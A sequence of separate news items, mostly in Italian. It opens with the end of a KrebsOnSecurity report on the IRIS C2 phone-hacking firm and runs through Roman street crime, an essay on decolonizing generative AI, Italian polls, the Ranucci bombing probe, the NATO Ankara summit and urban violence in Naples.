In an interview with KrebsOnSecurity, Wohl said Mr. Burkman was not involved in the day-to-day operations of IRIS C2. Wohl shared that IRIS C2 originally began as a penetration testing company, but shifted its focus recently to selling phone-hacking services to the government. Several times throughout the interview, Mr. Wohl mentioned working on federal government contracts, but when pressed for specifics said he was not at liberty to speak publicly about them.

Mr. Wohl said he does not have any formal education or training in computer science or information security, and that most of his knowledge on the matter is self-taught.

“I know more about tech than anyone,” Wohl bragged. “My background has always been extremely technical, and I’ve always been deeply into tech. People know me as someone who is able to create spectacularly exquisite capabilities that would make your head spin.”

Wohl said security researchers bring the company unique vulnerability findings “on a regular basis,” but that in many cases those findings are preliminary and not fully fleshed-out.

“Let’s say someone finds a flaw in a media decoder on a phone,” Wohl said. “A lot of times what we receive is an exploit primitive, where the idea is there but the [execution] needs work. You need that exploit to be stable and reliable, and that’s what we do.”

Wohl claims IRIS C2 has approximately 40 employees, although he said none of them are allowed to list their employment on LinkedIn for operational security reasons. In May, the author of the IRIS C2 account on X said that his girlfriend had no idea what he did for a living. But if IRIS C2 has any other employees, they may be similarly unaware of Mr. Wohl’s history of outright fabrications — or even his real name.

In September 2024, Politico reported that Burkman and Wohl were bragging about big companies supposedly buying services from their now-defunct company LobbyMatic, which claimed to use artificial intelligence to assist in political lobbying efforts. However, Politico found the pair were running the company using pseudonyms, with Wohl reportedly adopting the name “Jay Klein” and Burkman using the moniker “Bill Sanders.” Politico reported that two of the former LobbyMatic employees resigned after learning of their true identities, while other employees only learned after they had left the company.

Update, July 9, 9:44 a.m. ET: Several readers pointed our attention to a March 31 publication from journalist Molly White, which reported that Burkman and Wohl were paid a $300,000 retainer by a Canadian cryptocurrency fraudster wanted by the United States and several other countries for allegedly stealing $65 million from the crypto platforms KyberSwap and Indexed Finance. According to that report, the two were hired to pursue a “presidential pardon to avert a miscarriage of justice” on behalf of the accused hacker, who has not yet been convicted.

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COLOSSEO FUORI CONTROLLO: Cosa succede dopo l'attacco alla Polizia?

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Cosa succede DAVVERO sotto al Colosseo dopo le ultime aggressioni?

Siamo tornati a Piazza Gaetana Agnesi dopo il caos dei giorni scorsi, quando una baby gang ha sparato fuochi d'artificio ad altezza uomo contro la Polizia. La risposta dello Stato c'è stata: controlli a tappeto, arresti, espulsioni e il sequestro di armi e droga a giovanissimi con precedenti penali pesanti.

Ma la zona è davvero sicura adesso? Abbiamo sorvegliato l'area per tutto il giorno. Se i "maranza" sono quasi spariti, la microcriminalità storica è più viva che mai. Tra la collaudata truffa dei braccialetti (con tanto di minacce a chi non paga) e il business dei venditori abusivi, la criminalità organizzata continua a spartirsi i profitti sotto il monumento più importante del mondo.

Abbiamo monitorato la situazione per un'intera giornata: se da un lato la presenza dei trapper e delle baby gang è quasi azzerata, dall'altro l'illegalità all'ombra del monumento più famoso del mondo non si ferma. Sotto gli occhi di tutti continua la storica "truffa dei braccialetti", con operatori pronti a intimidire turisti e passanti, insieme a una fitta rete di attività abusive interamente gestite dalla criminalità organizzata.

Guarda il video fino alla fine per vedere la situazione in diretta.

La tua opinione: Pensi che i controlli dureranno o la situazione tornerà come prima? Scrivilo nei commenti.
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Sleppa compie 3 anni: Birthday Party con Milano Pizza Week e 50TopPizza

​Il tempo vola quando ci si diverte e si mangia bene :
Sleppa spegne le sue prime 3 candeline e per festeggiare questo traguardo speciale non potevamo scegliere partner migliori. Siamo orgogliosi di annunciare una collaborazione d’eccezione con la Milano Pizza Week e la prestigiosa guida 50TopPizza.

​Il 15 luglio, il locale si trasforma per una serata dedicata interamente alla condivisione, alla buona musica e, ovviamente, alla regina della serata: la pizza.

La Formula della Serata

​Si stravolgeranno le regole le regole per una notte: la sera del 15 luglio, il locale non effettuerà il consueto servizio a cena. Vogliamo che lo spazio sia totalmente libero per festeggiare insieme a voi, senza barriere, in un’atmosfera informale e dinamica.

Cosa vi aspetta?

​Pizza a portafoglio in OMAGGIO per tutti gli ospiti.

​Prosecco per brindare insieme al nostro compleanno.

​DJ Set esclusivo per accompagnare la serata con il giusto ritmo.

​Programma dell’evento

​Segnate la data e preparatevi, ecco il timing della festa:

​Dalle 19:00: Si aprono le danze! Inizia il flusso di pizze a portafoglio, calici di bollicine e musica.

​Ore 22:00: Momento clou della serata con il taglio della torta per celebrare i 3 anni di Sleppa.

​Fino alle 22:30: Si continua a brindare e festeggiare insieme.

​Sarà un’occasione unica per incontrarsi, scambiare due chiacchiere e celebrare il percorso insieme a voi che avete sostenuto SLEPPA fin dal primo giorno.

​Non mancate: il 15 luglio, venite a brindare !!

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È possibile decolonizzare l’intelligenza artificiale?

Immagine in evidenza rielaborata con AI

Si può prendere una tecnologia nata e sviluppata nei centri di potere e riadattarla alle necessità di un gruppo marginalizzato? La domanda, potenzialmente, riguarda tutte le innovazioni tecnologiche. Il caso dell’intelligenza artificiale generativa è però oggi particolarmente discusso assieme alle molteplici problematiche etiche che i grandi modelli linguistici, come anche le tecnologie text-to-image o text-to-video, sollevano: dal rischio di disinformazione, all’impatto ambientale, fino agli utilizzi di questi strumenti a scopi bellici.

Alla radice c’è la questione del controllo, economico e politico, delle infrastrutture tecnologiche, che resta saldamente nelle mani delle grandi aziende, in gran parte statunitensi. Fuori dal mondo occidentale stanno però nascendo iniziative che mirano a riappropriarsi dei sistemi di generative AI per perseguire l’interesse pubblico o a scopi di giustizia sociale. Queste realtà stanno riorganizzando i dataset per l’addestramento degli algoritmi, modificando alcune delle loro caratteristiche tecniche e riorientando gli usi finali degli strumenti. Arrivando in alcuni casi a immaginare infrastrutture pubbliche gestite localmente.

I limiti e i bias dei modelli commerciali

L’AI generativa commerciale – per intenderci, quella di chatbot come Gemini o ChatGPT – si presenta come un archivio di conoscenza universale e neutrale. Ma le cose non stanno così: i dati impiegati per addestrare questi sistemi provengono da Internet e sono tutt’altro che neutrali. I dati di qualità disponibili sono in gran parte in inglese o in altre lingue europee, escludendo inevitabilmente la conoscenza, e quindi la rappresentazione, di una larga parte del mondo. 

In un saggio intitolato Decolonizing LLMs: An Ethnographic Framework for AI in African Contexts, gli autori (tra cui figurano, peraltro, anche esponenti di Google) spiegano: “La lingua è intrinsecamente fluida, flessibile e multiculturale. I grandi modelli linguistici (LLM) più diffusi e utilizzati oggi, invece, non lo sono. Sono in gran parte addestrati da team dislocati negli Stati Uniti e istruiti per operare su varianti non specificate di testi in inglese”. 

“La diffusione globale degli LLM, un prodotto ‘WEIRD’ (western, educated, industrialised, rich and democratic) rischia quindi di perpetuare i pregiudizi inconsci e i punti ciechi dei suoi creatori”, proseguono gli autori. “Il pericolo è che la loro visione del mondo venga presentata come la visione del mondo a una base di utenti globale, che si aspetta invece risultati neutrali da un programma informatico. Ma che dire del resto della popolazione mondiale, i cui repertori linguistici scritti e parlati non includono l’inglese? E che dire di quegli aspetti della cultura, della lingua e dell’esperienza che non sono ancora stati digitalizzati?”

Di opinione simile è Dima Saber, direttrice esecutiva di Meedan, un’organizzazione non-profit che sviluppa strumenti open source, programmi e ricerche per un’infrastruttura digitale più efficace ed etica. “Internet è fatto per uomini bianchi, della classe media, che parlano inglese. Di conseguenza, gli LLM o i bot vengono addestrati sugli stessi dati presenti in rete, riproducendo così le medesime disuguaglianze”, spiega Saber a Guerre di rete. “Esistono prove del fatto che gli LLM non solo funzionano meno bene nelle lingue diverse dall’inglese, ma anche che le risposte fornite sono piuttosto distorte e riproducono le disuguaglianze già esistenti sul web”.

Riprogettare i sistemi

Proprio per offrire alternative tecnologiche più trasparenti, situate e rispettose delle diversità, Dima Saber e il suo team hanno creato Suwali, un servizio di chatbot pensato per organizzazioni della società civile, redazioni indipendenti e altre realtà di pubblico interesse. L’obiettivo è permettere a queste organizzazioni di archiviare, valorizzare e rendere interrogabili patrimoni di conoscenza spesso sottorappresentati nei modelli mainstream, anche in lingue diverse dall’inglese. Utenti e lettori possono così rivolgere domande al chatbot e ottenere risposte in linguaggio naturale, basate però su un corpus circoscritto e verificabile.

È qui che Suwali si distingue dai servizi commerciali. Il sistema non attinge indistintamente a tutto il materiale disponibile online, ma lavora su una selezione di dati appartenenti alle singole organizzazioni: archivi, report, articoli e altri documenti da loro prodotti o scelti. Suwali è già utilizzato da diverse realtà, soprattutto nel Sud globale. In Libano, la non-profit OMGYNO lo impiega per fornire informazioni affidabili sulla salute riproduttiva delle donne; in India, la redazione di The Quint lo usa per rispondere ai dubbi dei lettori su disinformazione e truffe.

“Un chatbot che utilizza i dati dell’organizzazione e il suo corpus di conoscenze per formulare le risposte permette di aggirare la riproduzione delle stesse disuguaglianze che esistono online”, spiega Saber. “È qualcosa di cui abbiamo assolutamente bisogno. Inoltre, non stiamo cedendo i dati a nessuno, non cerchiamo di venderli agli inserzionisti e le organizzazioni mantengono la proprietà delle informazioni. Questo è un altro aspetto che, per quanto riguarda la sovranità dei dati, per noi è davvero imprescindibile”. I server di Meedan sono ospitati in Irlanda, in modo che la legislazione applicabile sia quella del GDPR europeo, al momento la più avanzata al mondo in termini di tutela dei dati personali.

L’obiettivo centrale è quello di restituire alle organizzazioni, anche quelle con poche risorse, una agency nell’uso di strumenti di intelligenza artificiale, offrendo al contempo elevati standard di trasparenza. Suwali permette infatti, attraverso la dashboard degli amministratori, di analizzare il percorso logico compiuto dal chatbot, risalendo al “ragionamento” effettuato dal modello per capire quali fonti ha utilizzato e che sintesi ha compiuto. Si può insomma guardare dentro la “black box” del pensiero algoritmico.

Meedan non ha costruito un proprio large language model da zero, ma si appoggia a quelli commercialmente disponibili. “Facciamo uso dei modelli linguistici, tra cui quello di OpenAI, esclusivamente per la formulazione finale delle risposte” spiega Haramoun Hamieh, senior partnership manager. “Il corpus di riferimento, il recupero delle informazioni e il processo con cui vengono selezionate le fonti restano invece interamente gestiti dai sistemi di Meedan. L’ottimizzazione dei modelli open-weight è nei nostri piani per il prossimo futuro”. 

Un’intelligenza artificiale femminista?

Su una filosofia simile è costruito il chatbot AfroféminasGPT, sviluppato dal collettivo omonimo con l’obiettivo di raccogliere e rendere accessibile il pensiero femminista decoloniale. La postura delle sviluppatrici è molto chiara: usare gli strumenti attualmente disponibili e sfruttarne le potenzialità per raggiungere i propri obiettivi. 

“L’IA convenzionale ha come norma implicita la persona bianca e riproduce questo pregiudizio in modo sistematico”, spiega la fondatrice Antoinette Torres Soler. “AfroféminasGPT rompe questa logica. Col tempo abbiamo osservato che il pubblico apprezza molto anche la capacità di basarsi sul lavoro di pensatrici e pensatori afrodiscendenti e afro-femministi. Un elemento particolarmente significativo è che, quando le persone del Sud globale interagiscono con lo strumento, questo assume una prospettiva più vicina alla loro esperienza e restituisce risposte con una precisione e una pertinenza che il mainstream dell’IA non offre”.

“La critica più ricorrente è che lo strumento operi all’interno dell’ecosistema di OpenAI, il che pone limiti reali in termini di sovranità tecnologica. È una critica legittima e me ne assumo la responsabilità” continua Torres Soler. “La posizione da cui lavoro è pragmatica e strategica: bisogna utilizzare gli strumenti disponibili e scalare, progressivamente, verso maggiori livelli di autonomia.”.

Afroféminas è un “ecosistema” (così lo definisce Torres Soler)  composto da quattro strumenti con funzioni diverse: AfroféminasGPT, il GPT Socratico di Afroféminas (pensato per studenti e insegnanti, che invita a “pensare prima di creare, applicando una conoscenza etica, affettiva e consapevole”), il GPT di Assistenza per i Reati d’Odio e Parla con Afroféminas (Habla con Afroféminas). Quest’ultimo è integrato direttamente su afrofeminas.com ed è accessibile senza la necessità di un account ChatGPT, il che, secondo la fondatrice “rappresenta un primo passo verso una maggiore sovranità rispetto all’infrastruttura di OpenAI”.

Anche AfroféminasGPT non ha accesso a Internet: “Ciò significa che non assorbe continuamente nuovi dati e bias a ogni aggiornamento di ChatGPT. Al contrario, quando cerca una risposta, attinge a una base di conoscenza volutamente circoscritta: un corpus curato di circa venti testi e autorialità fondamentali del pensiero nero e decoloniale. È questo a determinare come argomenta, come ragiona e da quale prospettiva risponde. È ciò che la rende diversa”, conclude Torres Soler.

Costruire un LLM pubblico: il caso di LatamGPT

Nel caso di Meedan e del collettivo Afroféminas, la parziale riprogettazione dei sistemi di AI ha dei chiari limiti di scala: si tratta di piccole organizzazioni, con risorse limitate. Cosa succede, invece, se si ragiona in termini di intelligenze artificiali come infrastruttura pubblica?

Una possibile risposta è stata testata da un consorzio latinoamericano di enti pubblici, università e centri di ricerca con il lancio di LatamGPT, il grande esperimento di modello linguistico collaborativo e open source della regione. LatamGPT è stato lanciato ufficialmente il 26 febbraio 2026 dall’allora presidente cileno Gabriel Boric. Il progetto è coordinato dal Centro Nazionale per l’Intelligenza Artificiale del Cile (CENIA) e ad esso partecipano quindici paesi e oltre 200 ricercatori di varie nazionalità.

Il modello è addestrato su un corpus regionale di oltre 300 miliardi di token (gli elementi linguistici alla base dell’addestramento della IA) provenienti da venti paesi dell’America Latina e dei Caraibi. L’obiettivo è anche quello di colmare un divario linguistico. Al momento, per i modelli commerciali, la percentuale di dati in lingua spagnola e portoghese si attesta infatti intorno al 2-3%.

LatamGPT non è un chatbot direttamente utilizzabile con un’interfaccia, ma un’infrastruttura open source che enti governativi, sviluppatori e istituzioni possono adattare alle loro esigenze educative, sanitarie o di protezione del patrimonio culturale. Si tratta di una base per lo sviluppo di applicazioni, prima che di un’applicazione in sé.

Il valore del progetto sta anche nel suo contributo alla ricerca. Alvaro Soto, direttore del CENIA, ha spiegato, parlando con Wired: “Siamo noi i soggetti indicati per occuparci delle nostre stesse necessità. Non possiamo stare seduti ad aspettare che gli altri abbiano il tempo di chiederci di che cosa abbiamo bisogno. Oggi gli accademici dell’America Latina hanno poche opportunità di interagire profondamente con questi modelli. È come voler studiare la risonanza magnetica senza avere a disposizione un risonatore. LatamGPT vuole essere lo strumento fondamentale che consente alla comunità scientifica di sperimentare e progredire”.

Il ricercatore Eduardo Levy Yeyati ha commentato, in un articolo su Brookings: “Ciò che rende straordinario LatamGPT non è la sua architettura tecnica, ma la sua coordinazione istituzionale. In una regione in cui la collaborazione transfrontaliera spesso si arena, la progettazione di LatamGPT riflette la diversità istituzionale del territorio. Fornisce una base condivisa che può essere ottimizzata per le priorità nazionali, come per esempio documenti legali argentini, cartelle cliniche colombiane e programmi scolastici messicani”.

I limiti dei modelli alternativi

Più che la volontà politica, il problema principale resta l’accesso alle risorse. LatamGPT è stato costruito a partire da Llama 3.1, il modello open-weight di Meta e, nella sua prima fase di sviluppo, ha fatto ricorso anche all’infrastruttura cloud di Amazon Web Services. La dipendenza, almeno iniziale, dalle tecnologie e dalle infrastrutture delle Big Tech appare quindi difficile da evitare.

Non solo: un corpus regionale di oltre 300 miliardi di token è notevolmente più piccolo rispetto alla mole di dati a disposizione dei principali laboratori statunitensi e cinesi. Lo stesso vale per i finanziamenti: il progetto LatamGPT ha raccolto circa 550mila dollari (tra fondi CENIA e quelli della Latin America Development Bank) di investimenti iniziali. Si tratta di cifre irrisorie se paragonate agli investimenti da svariati miliardi di dollari delle aziende statunitensi e cinesi.

Infine, c’è un dilemma simile a quello dell’uovo e della gallina, ma in versione tecnologica: “Gli sviluppatori costruiscono solo se gli utenti cambiano piattaforma, e gli utenti cambiano piattaforma solo se gli strumenti sono migliori”, spiega ancora Levy Yeyati su Brookings. “Risolvere questo problema richiede qualcosa in più delle semplici prestazioni: servono un sostegno istituzionale e un ecosistema regionale, specialmente da parte dei paesi che lavorano per progettare e integrare queste scelte strutturali”.

Insomma, prima di poter davvero costruire alternative concrete a Big Tech ci sono vari ostacoli da superare, sia tecnici che economici. Le pratiche di riappropriazione, da quelle più piccole a quelle più ambiziose, hanno un significato politico ed etico innegabile. Ma continuano a scontrarsi con un divario di potere, risorse tecniche e investimenti che al momento appare difficile da colmare.

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Birds of a Feather at IETF 126 Vienna

The IETF 126 Vienna meeting takes place 18–24 July 2026. As at every IETF meeting, alongside the established Working Groups there will be a handful of Birds-of-a-Feather (BoF) sessions - and these are often the most interesting place to watch where Internet standards work is heading next.
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Artemis II Crew and Apollo 14 Moon Tree

The Artemis II crew participates in the dedication of the Apollo 14 Moon tree at the Lunar Receiving Park at NASA's Johnson Space Center. This tree is a second-generation Apollo Moon tree of the loblolly pine species.

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In the news: KDE Linux Drops AUR; California May Exempt Linux from Its Age-…

In the news: KDE Linux Drops AUR; California May Exempt Linux from Its Age-Verification Law; Another Logic Bug Found in Linux Kernel; Ubuntu Core 26 Offers Game-Changing Enterprise Features; Flooding the Linux Kernel Security Mailing List; Top Priorities for Open Source Pros Seeking a New Job; Container-Based Fedora Hummingbird Designed for Agent-First Builders; and Linux Kernel Developers Considering a Kill Switch.

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Sondaggi politici elettorali: chi vogliono gli italiani come Presidente della Repubblica, l’identikit e i partiti nell’ultima indagine

Quale profilo, quali caratteristiche dovrebbe avere il prossimo Presidente della Repubblica? Quale provenienza politica dovrebbe vantare nel curriculum? Sicuramente non dovrà essere una figura divisiva per gli italiani intervistati nel sondaggio SWG dopo che la Presidente del Consiglio Giorgia Meloni ha letteralmente aperto la campagna per il Quirinale verso il 2029 mentre già è aperta quella per le politiche in programma nel 2027 e si discute della legge elettorale che sarà impiegata l’anno prossimo.

Prima caratteristica, dunque, per il 56% degli italiani, è che il futuro Capo dello Stato non dovrà essere una figura divisiva. Per il 54% dovrebbe vantare prestigio internazionale, per il 32% dovrebbe vantare una lunga esperienza politica. E in pole position, nel toto-nomi, spicca il nome dell’ex Presidente del Consiglio Mario Draghi, con il 48% degli italiani che lo trovano adeguato. Seguono l’attuale premier Meloni (38%), Pierluigi Bersani (35%), Paolo Gentiloni (28%). In fondo alle preferenze il quotatissimo Pier Ferdinando Casini (25%) e Romano Prodi (24%).

Per il 32% degli italiani non avrà importanza lo schieramento politico del nuovo Presidente della Repubblica, l’importante è che sia una figura adatta alla carica. Per il 22% dovrebbe provenire dal centrodestra, per 13% dovrebbe essere un politico mai schierato né da una parte né dall’altra, per appena il 12% dovrebbe arrivare dal centrosinistra, per l’11% dovrebbe essere una figura esterna alla politica.

 

Mario Draghi è ritenuto il futuro Presidente della Repubblica più adeguato (48%). Seguono Giorgia Meloni (38%) e Pier Luigi Bersani (35%) pic.twitter.com/WFQjJsfkXc

— SWG (@swg_research) July 7, 2026


A richiamare l’attenzione negli orientamenti di voto rilevati per il TgLa7 il segno di crescita che riguarda Futuro Nazionale, in salita dello 0,4%, fino al 6%. Sempre in vantaggio sulla Lega scavalcata che pure guadagna uno 0,2%, il Carroccio è al 5,6%. Segno negativo invece sia per la Presidente Meloni, con Fratelli d’Italia che scivola al 27,1%, che per la segretaria Elly Schlein, Partito Democratico al 21,5%, che per l’ex premier Giuseppe Conte, Movimento 5 Stelle al 13,1%.

Seguono Forza Italia e Alleanza Verdi Sinistra, in lieve risalita al 7,4% e al 6,5%. Azione di Carlo Calenda è al 3,4%, Italia Viva al 2,5%, +Europa all’1,4%, Noi Moderati all’1,1% Stabili in fondo al listone Sud Chiama Nord all’1% e Avanti – PSI all’1%. Alla generica voce “altro partito” il 2,4%. Non si esprime il 27% degli intervistati, a conferma degli alti tassi di astensionismo nell’elettorato italiano a ogni appuntamento alle urne.

 

Intenzioni di voto SWG per @TgLa7 pic.twitter.com/BtHPRg9PRS

— SWG (@swg_research) July 6, 2026

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Bomba contro Ranucci, indagato come mandante Valter Lavitola: giallo sul movente del faccendiere “amico” del giornalista

L’amico Valter Lavitola dietro l’attentato dinamitardo che ha fatto saltare in aria le sue due auto di fronte l’abitazione di famiglia a Campo Ascolano, la frazione del comune di Pomezia, alle porte di Roma. Per la Procura di Roma è il giornalista-editore, in passato molto vicino a Silvio Berlusconi e con due condanne passate in giudicato, oggi titolare di un ristorante di pesce non lontano da Trastevere, il mandante della bomba contro il conduttore di Report Sigfrido Ranucci. A Lavitola e ai suoi complici i magistrati della Direzione distrettuale antimafia della Procura di Roma contestano il reato di tentata strage, detenzione, porto e impiego illegale di esplosivi, danneggiamento aggravato e minaccia aggravata, tutti contestati con l’aggravante del metodo mafioso. I carabinieri del Nucleo Investigativo di Roma e Frascati hanno perquisito l’abitazione dell’ex direttore L’Avanti! e hanno sequestrato telefoni e pc, che saranno analizzati.

“Sono sconvolto, siamo amici, adesso voglio capire. Per me Valter è un amico, dal 2019 ci sentivamo quasi tutti i giorni. Sono sconvolto, sconcertato, non so che cosa pensare, se non che mi affido alle indagini della Procura e dei Carabinieri. In questo momento non mi sento di rilasciare altre dichiarazioni”, sono le parole raccolte da Repubblica e Corriere della Sera da Ranucci dopo l’indagine a carico di Lavitola.

Dei rapporti tra Lavitola e Ranucci si era occupato il quotidiano Il Riformista, pubblicando la foto di una cena tra i due la sera del 21 maggio 2023 al ristorante “Cefalù” nel quartiere romano di Monteverde, di proprietà di Lavitola, insieme a monsignor Giovanni Fusco, collaboratore del cardinale segretario di Stato vaticano Pietro Parolin, e ad altri commensali. All’epoca Ranucci accusò via sms Matteo Renzi, l’ex premier che a quei tempi era direttore del quotidiano, di averlo esposto a un rischio pubblicando la foto di quell’incontro essendo sotto scorta.

A Lavitola gli inquirenti sono arrivati dopo gli arresti della scorsa settimana del commando che ha materialmente piazzato l’ordigno esplosivo: analizzando telefoni, contatti e computer dei quattro, gli investigatori avrebbero ricostruito due ulteriori livelli dell’organizzazione, con gli arrestati che facevano riferimento ad un intermediario, un cittadino di origine camerunense che lavorava nel ristorante di Lavitola, a sua volta in contatto proprio con Lavitola.

Quel che non è ancora chiaro è il movente, cosa abbia spinto Lavitola ad assoldare il commando e collocare l’ordigno davanti la casa dell’”amico” Ranucci. Secondo Il Fatto Quotidiano, giornale molto vicino al giornalista, non risulterebbero inchieste in corso o servizi su Lavitola da parte di Report, con Ranucci che d’altra parte ha ammesso di essere amico dell’ex faccendiere condannato tra le altre cose a due anni e 8 mesi per tentata estorsione ai danni di Berlusconi nella vicenda che lo vede coinvolto insieme all’imprenditore Giampaolo Tarantini nel giro di escort per le famose “cene eleganti”.

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Vertice Nato di Ankara, l’Ue è pronta a blandire Trump per evitare il “deragliamento” del tycoon

Il motto è stato coniato. Ed è molto suggestivo e ambizioso. La sua traduzione operativa, beh, questo è tutt’altro discorso. Molto, molto complicato. “Un’Europa più forte in una Nato più forte”. È il motto contenuto nella dichiarazione finale approvata dai 32 ambasciatori alleati e, a ben vedere, il senso del vertice di Ankara sta tutto qui. Tener fede alle promesse dell’anno scorso, far vedere agli Usa e a Donald Trump che il vecchio mondo sta davvero aprendo i cordoni della borsa, tracciando percorsi “credibili” verso il famoso 5% di Pil in difesa.

Il segretario generale Mark Rutte (e gli sherpa) hanno fatto il possibile per costruire un summit (l’ennesimo) a prova di Trump. Ma l’apprensione è palpabile perché se il tycoon deraglierà si potrà entrare in una fase che alcuni, alla Nato, non esitano a definire “pericolosa”. Oggi in una Ankara super blindata – centinaia i manifestanti anti-vertice arrestati – prima dell’arrivo dei leader, si terrà un gigantesco forum dell’industria della difesa transatlantica in cui verranno annunciati contratti, intese e cooperazioni per miliardi e miliardi: è uno degli spettacoli pirotecnici organizzati per stuzzicare l’immaginazione di Trump. Poi c’è la cena al palazzo presidenziale del Sultano, Recep Tayyip Erdoğan. Lì i 32 capi di Stato e di Governo alleati saranno soli – senza ambasciatori o consiglieri – con mogli (o mariti) e gli ospiti, tra cui ad esempio Volodymyr Zelensky.

In parallelo, le cene dei ministri degli Esteri e della Difesa, dove sono stati invitati, rispettivamente, i Paesi del Golfo e i partner asiatici (Giappone, Corea, Australia e Nuova Zelanda). Mercoledì sarà la volta del vertice vero e proprio: un giro di tavolo del Consiglio Atlantico da 2-3 ore massimo, proprio per limitare il più possibile i rischi. Ecco, si capirà allora perché c’è chi vorrebbe abolire la ricorrenza annuale (gli Usa in primis ma non solo) e dunque l’edizione del 2027 prevista a Tirana è in bilico anche perché l’Albania è tra i Paesi che non è ancora al 2%. Il Paese candidato a egemone del nuovo corso della Nato 2.0 è senz’altro la Germania, che intende arrivare al 3,5% della difesa ‘core’ già nel 2029, con uno sforzo di bilancio mostruoso: nessuno, in Europa, ha una potenza di fuoco economica simile. Varsavia, pur con le debite proporzioni, è l’altro astro nascente della sicurezza continentale, che affianca i leader tradizionali, Francia e Gran Bretagna.

In questo quadro, l’incognita resta The Donald. «Putin vuole finire la guerra in Ucraina, lo vuole fortemente», proclama Trump nello Studio Ovale, nel giorno dell’ennesima strage di civili uccisi nei bombardamenti russi. «Anche Zelensky lo vuole, ne parleremo al vertice della Nato», ha aggiunto. “Tre settimane fa ho detto al presidente Xi che gli Stati Uniti hanno l’esercito più potente del mondo e non ha avuto nulla da obiettare”, ha fatto sapere il tycoon, riferendo del colloquio con il presidente cinese. A prendere la parola è anche il “cameriere” del tycoon a Bruxelles, al secolo Mark Rutte, segretario generale della Nato. Gli Usa non stanno «spaccando» la Nato, assicura Rutte nel corso della conferenza stampa prevertice, rispondendo ad una domanda sull’attacco di Hegseth alla scorsa ministeriale difesa. «Avere una revisione della postura e delle forze è una mossa saggia, sarà in consultazione con gli alleati, non c’è da preoccuparsi», ha aggiunto. Se lo dice lui…

Ad Ankara si disserta, in Ucraina si continua a morire. È di almeno 20 morti il bilancio degli attacchi russi della scorsa notte sull’Ucraina, che hanno preso di mira la capitale Kiev e la sua regione. Lo riferiscono le autorità locali, precisando che 14 persone sono morte a Kiev e altre 6 nella sua regione. L’aeronautica militare ucraina ha riferito che la Russia ha lanciato durante la notte 351 droni e 68 missili, prendendo di mira principalmente Kiev, e ha precisato che tutti i 29 missili balistici hanno colpito i loro obiettivi, sottolineando l’urgente necessità di un maggiore sostegno in materia di difesa. «Per intercettare i missili balistici, abbiamo bisogno dei mezzi per l’intercettazione», ha affermato il portavoce dell’aeronautica militare, Yurii Ihnat, parlando alla tv nazionale. «I russi stanno certamente sfruttando il fatto che ora vi sia una grave carenza di missili intercettori, sia in Ucraina che nel mondo», ha aggiunto.

In questo scenario devastato, Volodymyr Zelensky ha esortato i suoi alleati a prendere «decisioni forti» al vertice Nato «È di fondamentale importanza che il mondo, in primis gli Stati Uniti e i nostri partner europei, escano dal vertice Nato di Ankara con decisioni forti a sostegno della nostra difesa aerea», ha dichiarato il presidente ucraino sui suoi canali social. «Finché i missili Patriot rimarranno nelle scorte dei nostri alleati, la Russia è solo incoraggiata a continuare a `squarciare´ gli edifici residenziali. Stati Uniti e Europa hanno abbastanza forza per fermare questo terrore». La forza ce l’hanno. Quello che scarseggia è la volontà politica di esercitarla. E non solo a Washington. È il 1.594° giorno di guerra in Ucraina, ma Trump assicura: la fine della guerra è più vicina di quanto si crede. Sullo sfondo, il clamore dei missili che piovono su Kiev.

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Ritrovata morta a 59 anni in casa, si indaga per omicidio: interrogato il figlio della vittima

Si propende per la pista dell’omicidio a Sanremo, dove una donna di circa 59 anni è stata trovata morta nella serata di ieri. Sul corpo della donna i segni delle violenze: in particolare sul collo e sui polsi. Potrebbe esser stata strangolata. Al vaglio degli inquirenti anche la posizione del figlio della vittima. Accertamenti in corso, in corso le indagini condotte dai Carabinieri coordinati dalla Procura di Imperia.

L’omicidio si sarebbe consumato in un’abitazione in via Hope. Il cadavere della donna è stato scoperto intorno alle 22:00, quando i Vigili del Fuoco sono intervenuti sul posto su richiesta del figlio ventenne della vittima. Aveva riferito di non riuscire più a entrare in casa, la porta dell’appartamento era chiusa dall’interno e i pompieri sono entrati passando da un balcone e aprendo dall’interno.

Il figlio avrebbe raccontato agli investigatori di essere uscito di casa intorno alle 19:15 per andare a mangiare una pizza. Fonti della Procura di Imperia hanno confermato all’AdnKronos che il figlio sarà interrogato in mattinata dal pm Enrico Cinnella Della Porta, che coordina le indagini affidate ai Carabinieri. Stando ai primi accertamenti medico-legali, la morte risalirebbe ad almeno tre ore prima del ritrovamento. Il padre si trovava fuori casa.

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Dalla rissa al Kalashnikov, la urban marginality di Napoli

L’episodio di Montesanto è stato raccontato, nelle prime ore, secondo uno schema ormai consolidato. Camorra, baby gang, stesa. Era quasi inevitabile, quando in una strada di Napoli compare un Kalashnikov il riflesso condizionato è quello di ricondurre tutto alla criminalità organizzata. Poi, con il passare delle ore, il quadro si è fatto più complesso. Le ricostruzioni parlano di una lite tra privati degenerata, di una vendetta personale. È il destino di molta cronaca: la prima narrazione è quasi sempre la più semplice, quella successiva è quasi sempre la più vera. Eppure il punto più interessante non è stabilire se dietro quell’episodio ci fosse o meno la camorra. Il punto è capire perché siamo costretti a scegliere tra due sole spiegazioni: o criminalità organizzata o gesto isolato.
È una falsa alternativa. Tra queste due narrazioni esiste un livello intermedio che raramente viene raccontato, ed è probabilmente quello più importante.

La sociologia urbana lo descrive attraverso il concetto di urban marginality. Non indica semplicemente quartieri poveri o periferie degradate, descrive piuttosto territori in cui la presenza dello Stato è discontinua, dove le istituzioni non riescono a esercitare con continuità la loro funzione di regolazione sociale e dove, di conseguenza, acquistano forza codici informali, relazioni personali, reputazione e rapporti di forza. In questi contesti la violenza non è necessariamente organizzata. Non è sempre pianificata. Ma non è nemmeno casuale. Diventa una risorsa disponibile.
Non perché interi quartieri siano assimilabili alla criminalità organizzata: diventa disponibile perché il conflitto quotidiano trova troppo spesso modalità di regolazione alternative a quelle offerte dalle istituzioni. È questo il livello intermedio che sfugge al dibattito pubblico. Il problema, allora, non è soltanto la presenza della criminalità, è la qualità della presenza dello Stato.
In molte aree di Napoli lo Stato non è assente in senso assoluto: fa arresti, indaga, interviene, ma troppo spesso è assente nella sua funzione più importante, quella ordinaria. Manca nella manutenzione dello spazio pubblico, nella continuità dei servizi, nella scuola, nelle politiche sociali, nella capacità di prevenire i conflitti prima che diventino materia di ordine pubblico. È una presenza intermittente. Compare nell’emergenza e scompare nella quotidianità.

